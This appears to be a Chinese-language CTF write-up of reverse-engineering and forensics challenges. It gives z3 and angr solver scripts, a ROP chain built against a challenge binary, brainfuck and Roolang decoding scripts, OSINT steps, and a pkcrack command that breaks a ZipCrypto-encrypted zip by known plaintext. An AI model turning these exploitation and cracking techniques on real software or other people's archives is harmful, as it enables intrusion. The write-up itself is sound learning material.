
io.interactive()

我也有看了別人的 writeup,看來我真的該去學學怎麼使用 pwntools 裡面提供的 fmtstr_payload,用起來比我在裡面手動湊 format string 去寫入簡單多了==

Reverse

Stings

IDA 打開就差不多解完了。

Normal

這題有個 Verilog 的 flag checker,我直接寫個 z3 腳本去解,很快就出來了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from z3 import *

c1 = bytes.fromhex("44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3")
c2 = bytes.fromhex("d208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21")


def nor(a, b):
return [~(x | y) for x, y in zip(a, b)]


flag = [BitVec(f"f_{i}", 8) for i in range(32)]
w1 = nor(flag, c1)
w2 = nor(flag, w1)
w3 = nor(c1, w1)
w4 = nor(w2, w3)
w5 = nor(w4, w4)
w6 = nor(w5, c2)
w7 = nor(w5, w6)
w8 = nor(c2, w6)
out = nor(w7, w8)
sol = Solver()
sol.add(And([x == 0 for x in out]))
assert sol.check() == sat
m = sol.model()
print(bytes([m[x].as_long() for x in flag]))

Abnormal

這題一樣是 Verilog 的 flag checker,但是複雜度比前一題複雜許多,不過一樣能靠寫 z3 腳本直接炸 flag。比較需要注意的地方是 Verilog 和 python 有些 slicing 的 behavior 不太一樣,要注意一下才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from Crypto.Util.number import *
from z3 import *


def nor(a, b):
return ~(a | b)


def bit(bv, i):
return Extract(i, i, bv)


def bit2(bv, i, j):
return Extract(i, j, bv)


def nora(inp):
assert inp.size() == 3
out = [None] * 2
w1 = nor(bit(inp, 0), bit(inp, 1))
w2 = nor(bit(inp, 0), w1)
w3 = nor(bit(inp, 1), w1)
w4 = nor(w2, w3)
w5 = nor(w4, w4)
w6 = nor(w5, bit(inp, 2))
w7 = nor(w5, w6)
w8 = nor(bit(inp, 2), w6)
w9 = nor(w7, w8)
out[0] = nor(w9, w9)
w10 = nor(bit(inp, 0), bit(inp, 0))
w11 = nor(bit(inp, 1), bit(inp, 1))
w12 = nor(w10, w11)
w13 = nor(bit(inp, 2), bit(inp, 2))
w14 = nor(w11, w13)
w15 = nor(w12, w14)
w16 = nor(w10, w13)
w17 = nor(w15, w15)
w18 = nor(w17, w16)
out[1] = nor(w18, w18)
return out[::-1]


def norb(inp):
assert inp.size() == 33
out = [None] * 17
w1, out[0] = nora(Concat(bit(inp, 32), bit(inp, 16), bit(inp, 0)))
w2, out[1] = nora(Concat(w1, bit(inp, 1), bit(inp, 17)))
w3, out[2] = nora(Concat(w2, bit(inp, 18), bit(inp, 2)))
w4, out[3] = nora(Concat(w3, bit(inp, 3), bit(inp, 19)))
w5, out[4] = nora(Concat(w4, bit(inp, 20), bit(inp, 4)))
w6, out[5] = nora(Concat(w5, bit(inp, 5), bit(inp, 21)))
w7, out[6] = nora(Concat(w6, bit(inp, 22), bit(inp, 6)))
w8, out[7] = nora(Concat(w7, bit(inp, 7), bit(inp, 23)))
w9, out[8] = nora(Concat(w8, bit(inp, 24), bit(inp, 8)))
w10, out[9] = nora(Concat(w9, bit(inp, 9), bit(inp, 25)))
w11, out[10] = nora(Concat(w10, bit(inp, 26), bit(inp, 10)))
w12, out[11] = nora(Concat(w11, bit(inp, 11), bit(inp, 27)))
w13, out[12] = nora(Concat(w12, bit(inp, 28), bit(inp, 12)))
w14, out[13] = nora(Concat(w13, bit(inp, 13), bit(inp, 29)))
w15, out[14] = nora(Concat(w14, bit(inp, 30), bit(inp, 14)))
out[16], out[15] = nora(Concat(w15, bit(inp, 15), bit(inp, 31)))
return out[::-1]


def norc(inp):
assert inp.size() == 513
out = [None] * 257
w1, *out[15::-1] = norb(
Concat(bit(inp, 512), bit2(inp, 271, 256), bit2(inp, 15, 0))
)
w2, *out[31:15:-1] = norb(Concat(w1, bit2(inp, 31, 16), bit2(inp, 287, 272)))
w3, *out[47:31:-1] = norb(Concat(w2, bit2(inp, 303, 288), bit2(inp, 47, 32)))
w4, *out[63:47:-1] = norb(Concat(w3, bit2(inp, 63, 48), bit2(inp, 319, 304)))
w5, *out[79:63:-1] = norb(Concat(w4, bit2(inp, 335, 320), bit2(inp, 79, 64)))
w6, *out[95:79:-1] = norb(Concat(w5, bit2(inp, 95, 80), bit2(inp, 351, 336)))
w7, *out[111:95:-1] = norb(Concat(w6, bit2(inp, 367, 352), bit2(inp, 111, 96)))
w8, *out[127:111:-1] = norb(Concat(w7, bit2(inp, 127, 112), bit2(inp, 383, 368)))
w9, *out[143:127:-1] = norb(Concat(w8, bit2(inp, 399, 384), bit2(inp, 143, 128)))
w10, *out[159:143:-1] = norb(Concat(w9, bit2(inp, 159, 144), bit2(inp, 415, 400)))
w11, *out[175:159:-1] = norb(Concat(w10, bit2(inp, 431, 416), bit2(inp, 175, 160)))
w12, *out[191:175:-1] = norb(Concat(w11, bit2(inp, 191, 176), bit2(inp, 447, 432)))
w13, *out[207:191:-1] = norb(Concat(w12, bit2(inp, 463, 448), bit2(inp, 207, 192)))
w14, *out[223:207:-1] = norb(Concat(w12, bit2(inp, 223, 208), bit2(inp, 479, 464)))
w15, *out[239:223:-1] = norb(Concat(w14, bit2(inp, 495, 480), bit2(inp, 239, 224)))
out[256], *out[255:239:-1] = norb(
Concat(w15, bit2(inp, 255, 240), bit2(inp, 511, 496))
)
return out[::-1]


x1 = int("1a86f06e4e492e2c1ea6f4d5726e6d36bec57cf31472b986a675d3bc8e5d22b81", 16)
x2 = int(
"1a5e20394c934fd1198b1517d57e730cd225ccfa064ff42db76c19f3b7c0da91a6bf077b696cc4b22c0e56f4d3e6e150e386d6f04479ac502600e01fcdc29f5e4",
16,
)


def abnormal(inp):
assert inp.size() == 256
w1 = Concat(norc(Concat(BitVecVal(x1, 257), inp))[255::-1])
w2 = Concat(norc(BitVecVal(x2, 513))[255::-1])
w3 = nor(w1, w2)
w4 = nor(w1, w3)
w5 = nor(w2, w3)
w6 = nor(w4, w5)
out = nor(w6, w6)
return out


flag = BitVec("flag", 256)
sol = Solver()
sol.add(abnormal(flag) == 0)
while sol.check() == sat:
m = sol.model()
ans = m[flag].as_long()
print(long_to_bytes(ans))
sol.add(flag != ans)

Jumprope

這題可以輸入東西到 ret 的地方,然後它會把你的輸入做一些 xor。根據程式一開始 print 的內容可以看到他說成功的話會輸出 CORRECT,然後也能發現它也確實有 c o r e t 五個函數。

所以目標是找出特定的輸入進去,xor 之後可以變成一個 ROP chain 讓程式把 CORRECT 給 print 出來。

它的 xor 部分主要有兩部分的值,一個是直接 hardcode 在 binary 裡面的,那個可以直接複製出來。另一部份是用一個奇怪的 C 函數生成的,我先另外寫個 C 程式把它的值全部輸出出來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>

long test(int a1)
{
int i = 0;
if (a1 == 1)
{
return 0;
}
for (i = 2; i < a1 - 1; ++i)
{
if (!(a1 % i))
{
return 0;
}
}
return 1;
}
long next(long a1)
{
int j;
unsigned long v4;
long v5;
int i;
for (i = 0; i <= 7; ++i)
{
v5 = 0;
v4 = a1;
for (j = 0; j <= 7; ++j)
{
if (test(j + 1))
v5 ^= v4 & 1;
v4 >>= 1;
}
a1 = (v5 << 7) + (a1 >> 1);
}
return a1;
}

int main(int argc, char **argv)
{
if (argc < 2)
{
return 1;
}
int n = atoi(argv[1]);
long val = 2;
for (int i = 0; i < n; i++)
{
val = next(val);
printf("0x%02x, ", val);
}
return 0;
}

得到兩個 array 之後構造 rop chain,然後 xor 之後就會看到 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# fmt: off
xs = [0xfd, 0x3c, 0xc4, 0xe, 0x76, 0xff, 0x4b, 0x45, 0x1f, 0x40, 0xf4, 0xe6, 0x80, 0xb8, 0xb5, 0xe8, 0x76, 0x8e, 0x3b, 0xf8, 0xe4, 0xbd, 0xc9, 0xc7, 0x3f, 0xe6, 0xcf, 0x15, 0x94, 0x9a, 0x8a, 0x28, 0x4e, 0x5e, 0x1e, 0x3f, 0x25, 0xd4, 0x2c, 0xa9, 0x36, 0x28, 0x42, 0x40, 0x93, 0x8d, 0xf, 0xff, 0xae, 0x2b, 0x2b, 0xdf, 0x7e, 0x1a, 0x4e, 0x5, 0x63, 0xd0, 0x88, 0xe1, 0xa1, 0x1f, 0x5a, 0x3d, 0x36, 0x4f, 0xae, 0x89, 0x7b, 0xd7, 0x27, 0xd0, 0x29, 0xc0, 0x9e, 0xf0, 0x20, 0xdf, 0x69, 0x77, 0x94, 0xe9, 0x58, 0xf, 0xb8, 0xec, 0xf9, 0x24]
vals = [0x85, 0x4d, 0xf0, 0x68, 0x0d, 0x91, 0x7b, 0x31, 0xcb, 0x38, 0xd5, 0x95, 0xf4, 0xe7, 0xdb, 0x81, 0xc2, 0x26, 0x78, 0xb4, 0x86, 0xc8, 0xbd, 0x98, 0x65, 0x9c, 0xea, 0x4a, 0xfa, 0xf3, 0xed, 0x40, 0x61, 0x13, 0x3c, 0x5a, 0x43, 0xe4, 0x5e, 0xcc, 0x32, 0x4e, 0x75, 0x25, 0xfd, 0xf9, 0x76, 0xa0, 0xb0, 0x09, 0x1e, 0xad, 0x21, 0x72, 0x2f, 0x66, 0x19, 0xa7, 0xba, 0x92, 0xfe, 0x7c, 0x3b, 0x50, 0xd8, 0x04, 0x8f, 0xd6, 0x10, 0xb9, 0x17, 0xb3, 0x8c, 0x53, 0x5d, 0x49, 0x7f, 0xbe, 0x1d, 0x28, 0x6c, 0x82, 0x47, 0x6b, 0x88, 0xdc, 0x8b, 0x59]
# fmt: on
# generate vals using `gcc test.c -o test && ./test 88`


def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))


def p64(x: int):
return x.to_bytes(8, byteorder="little")


pop_rdi = 0x40148B
c = 0x401211
o = 0x40122E
r = 0x40125B
e = 0x401278
t = 0x401295
chain = b"".join(
map(p64, [c, pop_rdi, 0x1337C0D3, o, r, r, e, c, pop_rdi, 0xDEADFACE, t])
)
print(xor(xor(chain, xs), vals))

It's Not Pwn, I Swear!

這題直接 decompile 看起來就像是 pwn 題一樣,因為 main 直接就進入一個 vuln,裡面還有個非常標準的 gets 函數可以 buffer overflow,除了它輸出了一個訊息說 This is not a pwn challenge. 以外都沒什麼特別的。這題要 pwn 也沒辦法,因為 checksec 會看到它除了 Fortify 以外是全開的。

關鍵在於題敘有特別強調 including a canary!,看一下 __stack_chk_fail 會發現這個函數不正常,因為一般來說 __stack_chk_fail 應該是在 libc 裡面,但是這個 __stack_chk_fail 卻直接在 binary 之中,裡面還有一些奇怪的邏輯。

簡單讀一下之後可以知道它是拿 overflow 的前 16 bytes 作為 input,然後用一些運算計算出 flag 並檢查一些 condition,一旦失敗就呼叫真正的 __stack_chk_fail,所以一般的 overflow 還是會看到預期中 canary 被破壞的錯誤訊息。

我的解法是直接上 angr,它很快就能把需要的那 16 bytes input 和 flag 找出來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import angr
import claripy

input_len = 16
stdin_chars = [claripy.BVS("stdin_%d" % i, 8) for i in range(input_len)]
stdin = claripy.Concat(
*[claripy.BVV(b"a") for _ in range(10)] + stdin_chars + [claripy.BVV(b"\n")]
)

proj = angr.Project("./notpwn")
st = proj.factory.entry_state(args=["./notpwn"], stdin=stdin)
for k in stdin_chars:
st.solver.add(k < 0x7F)
st.solver.add(k > 0x20)

sm = proj.factory.simulation_manager(st)
# this part isn't necessary...
# # enter fake __stack_chk_fail
# sm.explore(find=0x4011B5).unstash(from_stash="found", to_stash="active")
# # loop 0
# sm.explore(find=0x40136F, avoid=0x40130C).unstash(from_stash="found", to_stash="active")
# sm.explore(find=0x401377).unstash(from_stash="found", to_stash="active")
# # loop 1
# sm.explore(find=0x40136F, avoid=0x40130C).unstash(from_stash="found", to_stash="active")
# sm.explore(find=0x401377).unstash(from_stash="found", to_stash="active")
# # loop 2
# sm.explore(find=0x40136F, avoid=0x40130C).unstash(from_stash="found", to_stash="active")
# sm.explore(find=0x401377).unstash(from_stash="found", to_stash="active")
# # loop 3
# sm.explore(find=0x40136F, avoid=0x40130C).unstash(from_stash="found", to_stash="active")
# sm.explore(find=0x401377).unstash(from_stash="found", to_stash="active")
# # loop 4
# sm.explore(find=0x40136F, avoid=0x40130C).unstash(from_stash="found", to_stash="active")
# sm.explore(find=0x401377).unstash(from_stash="found", to_stash="active")
# # loop 5
# sm.explore(find=0x40136F, avoid=0x40130C).unstash(from_stash="found", to_stash="active")
# exit
# end of fake __stack_chk_fail
sm.explore(find=0x40137E)
print("stdin", sm.found[0].posix.dumps(0))
print("stdout", sm.found[0].posix.dumps(1))

No Thoughts, Head Empty

這題有個 brainfuck 程式會 print flag,但是它會把一個字元重複 print 非常多次,讓你很難看到真正的 flag。

我是直接用 python 寫 brainfuck to c 的程式,然後加點東西讓它不要輸出重複的字元即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os

with open("flag.bf") as f:
code = f.read()

with open("bf.c", "w") as f:

def w(x):
return f.write(x + "\n")

w("#include <stdio.h>")
w("#include <unistd.h>")
w("int d[1000000000]={};")
w("int ptr=0;")
w("int last=0;")
w("void pc(int x){if(x!=last){putchar(x);fflush(stdout);}last=x;}")
w("int main(){")
for c in code:
if c == ".":
w("pc(d[ptr]);")
elif c == ",":
w("d[ptr]=getchar();")
elif c == "<":
w("ptr--;")
elif c == ">":
w("ptr++;")
elif c == "+":
w("d[ptr]++;")
elif c == "-":
w("d[ptr]--;")
elif c == "[":
w("while(d[ptr]){")
elif c == "]":
w("}")
w("return 0;")
w("}")

os.system("gcc bf.c -o bf -Ofast && ./bf")

Fewer Thoughts, Head Emptier

這題可以用和前一題一樣的解法解掉,一個字都不用改。

不過我還有想辦法用 c 把中間的 state 輸出,猜出了它的 encode 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
nums = [
105,
5664,
5066,
6888,
5376,
7742,
6890,
5511,
1421,
4668,
5937,
1441,
6723,
1526,
4676,
6890,
5508,
1293,
7006,
5460,
5503,
1041,
4603,
1050,
5561,
5246,
4658,
4902,
1442,
6887,
5233,
3528,
]

while True:
print(chr(nums[0]), end="")
s = (1 + nums[0]) * nums[0] // 2
if len(nums) <= 1:
break
nums = [nums[1] - s] + nums[2:]

Roolang

這題用了一種奇怪的 roo 格式,把它讀取出來用某些方法轉換(題目本身有提供)可以轉換成像是這樣的奇怪文字:

1
rnbonrooonrobinrooon...

它是每 5 個字元一個 instruction,然後主程式是個這種語言的 interpreter,是一個 stack machine。執行它給的程式可以把 flag 輸出出來,問題在於那個程式的效能極端的慢,只能 print 出 flag 的前面幾個字元而已。

我是想辦法把它的 instruction 做一些 decode,然後 print 中間的 stack 之後做一些觀察可以發現它會先在 stack 上 load 一大堆數字,然後一個數字一個數字做 decode。decode 的關鍵在於它 print 字元的前一個 instruction 都一定是 xor,xor 的目標是 1 1 2 3 5 8 11...,所以可以猜出他應該是和費氏數列 xor。

從它的 instruction 裡面還能看到它有 call 和 return 的 instruction,仔細看一下可以看了出它似乎真的有遞迴計算 f(n-1)+f(n-2) 的樣子,所以這個猜測也是正確的。

最後就把一開始 load 的那些數字 copy 出來,然後和費式數列 xor 就有 flag 了:

1
2
3
4
5
# fmt: off
ar = [85, 105, 103, 35, 99, 100, 108, 114, 2, 94, 42, 176, 128, 282, 534, 957, 1606, 2668, 4157, 6687, 10993, 17692, 28590, 46403, 75129, 121346, 196465, 317697, 514176, 832119, 1346217, 2178357, 3524541, 5702805, 9227513, 14930304, 24157707, 39088153, 63246016, 102334114, 165580035, 267914343, 433494481, 701408693, 1134903217, 1836311808, 2971214979, 4807527027, 7778742098, 12586268949, 20365011165, 32951280083, 53316291075, 86267571223, 139583862488, 225851433664, 365435296253, 591286729974, 956722025992, 1548008755937, 2504730782038, 4052739537835, 6557470319826, 10610209857675, 17167680177653, 27777890035307, 44945570212756, 72723460248127, 117669030460982, 190392490709200, 308061521170150, 498454011879172, 806515533049347, 1304969544928756, 2111485077978096, 3416454622906725, 5527939700884769, 8944394323791450, 14472334024676096]
fib = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368, 75025, 121393, 196418, 317811, 514229, 832040, 1346269, 2178309, 3524578, 5702887, 9227465, 14930352, 24157817, 39088169, 63245986, 102334155, 165580141, 267914296, 433494437, 701408733, 1134903170, 1836311903, 2971215073, 4807526976, 7778742049, 12586269025, 20365011074, 32951280099, 53316291173, 86267571272, 139583862445, 225851433717, 365435296162, 591286729879, 956722026041, 1548008755920, 2504730781961, 4052739537881, 6557470319842, 10610209857723, 17167680177565, 27777890035288, 44945570212853, 72723460248141, 117669030460994, 190392490709135, 308061521170129, 498454011879264, 806515533049393, 1304969544928657, 2111485077978050, 3416454622906707, 5527939700884757, 8944394323791464, 14472334024676221, 23416728348467685, 37889062373143906, 61305790721611591, 99194853094755497, 160500643816367088, 259695496911122585, 420196140727489673, 679891637638612258, 1100087778366101931, 1779979416004714189, 2880067194370816120, 4660046610375530309, 7540113804746346429, 12200160415121876738, 19740274219868223167, 31940434634990099905, 51680708854858323072, 83621143489848422977, 135301852344706746049, 218922995834555169026, 354224848179261915075]
# fmt: on
print("".join([chr(x ^ y) for x, y in zip(ar, fib)]))

附上我 debug 用的 script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
#!/usr/bin/env python3

import sys
from PIL import Image
import numpy as np


class Stack(list):
def push(self, x):
self.append(x)

def peek(self):
return self[-1]


stack = Stack([])
program = []
register = 0
insn_pointer = 0

DEBUG = 1


def robinify(im):
tiles = [
im[x : x + 128, y : y + 128, 0:4]
for x in range(0, im.shape[0], 128)
for y in range(0, im.shape[1], 128)
]
R = np.asarray(Image.open("robin.roo"))
O = np.asarray(Image.open("oreos.roo"))
B = np.asarray(Image.open("blind.roo"))
I = np.asarray(Image.open("imag.roo"))
N = np.asarray(Image.open("nobooli.roo"))
d = list(zip([R, O, B, I, N], "robin"))

ret = ""
for c in tiles:
for pair in d:
if np.all(pair[0] == c):
ret += pair[1]
break
return ret


def step():
global insn_pointer
insn = c_insn()
if DEBUG:
xinsn = insn+':'+INST_MAP[insn] if insn in INST_MAP else insn
print(xinsn, program[insn_pointer + 1], "@", insn_pointer)
eval(insn + "()")


INST_MAP = {
"robin": "num_or_push_reg",
"rinin": "prev_is_push_reg",
"rboin": "pop",
"riobn": "add",
"rooon": "sub",
"riibn": "mul",
"riion": "div",
"ribon": "mod",
"ronon": "and",
"roion": "or",
"roibn": "xor",
"riiin": "dup",
"rioin": "rot",
"rinin": "pop_reg",
"rbiin": "print_chr",
"rboon": "print",
"rnbon": "label_and_skip",
"rioon": "jump_to_label",
"rbion": "cjump_to_label",
"ribbn": "ret",
"roiin": "call",
}


def parse(program):
xprogram = [{} for i in range(len(program))]
i = 0
for i in range(len(program)):
inst = program[i]
d = xprogram[i]
d["inst"] = inst
if inst in INST_MAP:
d["desc"] = INST_MAP[inst]
if all(x in "obi" for x in inst[1:-1]):
d["num"] = parseDigit(inst)
insts = []
i = 0
while i < len(xprogram):
inst = xprogram[i]
if inst["inst"] == "robin":
i += 1
toPush = xprogram[i]
if toPush["inst"] == "rinin":
insts.append({"inst": "robin+rinin", "desc": "push_reg"})
else:
try:
words = parseDigit(toPush["inst"])
x = 0
for j in range(words):
i += 1
x += parseDigit(xprogram[i]["inst"])
x *= 27
inst["data"] = x // 27
insts.append(inst)
except:
insts.append(inst)
i -= 1
else:
insts.append(inst)
i += 1
for x in insts:
print(x)


def run(prog):
global insn_pointer, program
for ch in prog:
if ch not in "robin":
print("Syntax Error")
exit(1)

if len(prog) % 5 != 0:
print("Syntax Error")

program = [prog[i : i + 5] for i in range(0, len(prog), 5)]
parse(program)
try:
while insn_pointer < len(program):
step()
insn_pointer += 1
if DEBUG:
print(len(stack), stack)
print()
except Exception as e:
print("Fatal Error.")
raise e
print()
print(stack)


def c_insn():
return program[insn_pointer]


def robin():
global insn_pointer
insn_pointer += 1
toPush = c_insn()
if toPush == "rinin":
stack.push(register)
else:
words = parseDigit(toPush)
toPush = 0
for i in range(words):
insn_pointer += 1
toPush += parseDigit(c_insn())
toPush *= 27
stack.push(toPush // 27)


def parseDigit(s):
return int(s.replace("o", "0").replace("b", "1").replace("i", "2")[1:-1], 3)


def rboin():
stack.pop()


def riobn():
stack.push(stack.pop() + stack.pop())


def rooon():
stack.push(stack.pop() - stack.pop())


def riibn():
stack.push(stack.pop() * stack.pop())


def riion():
stack.push(stack.pop() // stack.pop())


def ribon():
stack.push(stack.pop() % stack.pop())


def ronon():
stack.push(stack.pop() & stack.pop())


def roion():
stack.push(stack.pop() | stack.pop())


def roibn():
stack.push(stack.pop() ^ stack.pop())


def riiin():
x = stack.pop()
stack.push(x)
stack.push(x)


def rioin():
x = stack.pop()
y = stack.pop()
stack.push(x)
stack.push(y)


def rinin():
global register
register = stack.pop()


def rbiin():
exit()
print('\n\n\n\n---------')
print(chr(stack.pop()), end="", flush=True)
print('\n---------\n\n\n\n')


def rboon():
print(stack.pop(), end="", flush=True)


def rnbon():
global insn_pointer
insn_pointer += 1


def rioon():
global insn_pointer
insn_pointer += 1
for i, word in enumerate(program):
if word == "rnbon":
if i != len(program) - 1 and program[i + 1] == c_insn():
insn_pointer = i + 1
return
print("Label not found!")
raise RuntimeError


def rbion():
global insn_pointer
if stack.peek():
rioon()
else:
insn_pointer += 1


def ribbn():
global insn_pointer
retval = stack.pop()
insn_pointer = stack.pop()
if DEBUG:
print("returning to", insn_pointer)
stack.push(retval)


def roiin():
global insn_pointer
arg = stack.pop()
stack.push(insn_pointer + 1)
stack.push(arg)
rioon()


if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: ./roolang.py [filename.roo]")
exit()

ext = sys.argv[1].split(".")[-1]

if ext != "roo" and ext != "root":
print("Invalid file format!")
exit()

if ext == "roo":
with Image.open(sys.argv[1]) as f:
print("Parsing...")
program = robinify(np.asarray(f))
else:
with open(sys.argv[1]) as f:
program = f.read()
print("Running...")
run(program)
print("Finished execution.")

Forensics

Hidden

題目有個 psd,但是直接 strings challenge.psd | grep ictf 就拿到 flag 了。

Unpuzzled 1

這題是 OSINT,目標是在官方 DC server 中的某個 user。首先可以透過 DC 的關聯帳號找到他的 GitHub 和 YT 帳號,然後能在 GitHub 的 repo 中看到它的 email,寄封 email 到那個 email 去就有 flag 了。

Unpuzzled 2

這題是前一題的後續,可以在他的 profile 看到它的網頁是 website.unpuzzler7.repl.co,這個是 replit 的網域,所以可以在這邊 看到他的 replit profile。

裡面有個 DiscordBot 專案裡面能找到某個 base64 string,decode 之後就是 flag。

Vacation

給了一張圖片,目標是找到該處的經緯度,要求到小數前三位。方法就 Google 搜尋一下裡面出現的店名等等的就找到了,找到的地點是這邊

Password Protected

給了一個用 zipcrypto 加密的 zip 檔,以及在對方加密的 system 上面的 libc 的幾個 address。列出 zip 中的檔案名稱可以看到 flag.txt libc.so.6runme

首先是能用 libc addresses 拿到正確的 libc 版本,可用 https://libc.blukat.me/ 或是 https://libc.rip/ 。

接下來這個是 zipcrypto,當有已知的 plaintext 的時候可以破解,工具是 pkcrack

指令如下,其中的 libc3 是我找到的那個 libc binary:

1
pkcrack -C encrypted.zip -c libc.so.6 -P plain.zip -p libc3 -d flag.txt -a

下完指令之後等一段時間就會出現 decrypted.zip,把它解開就有 flag 了。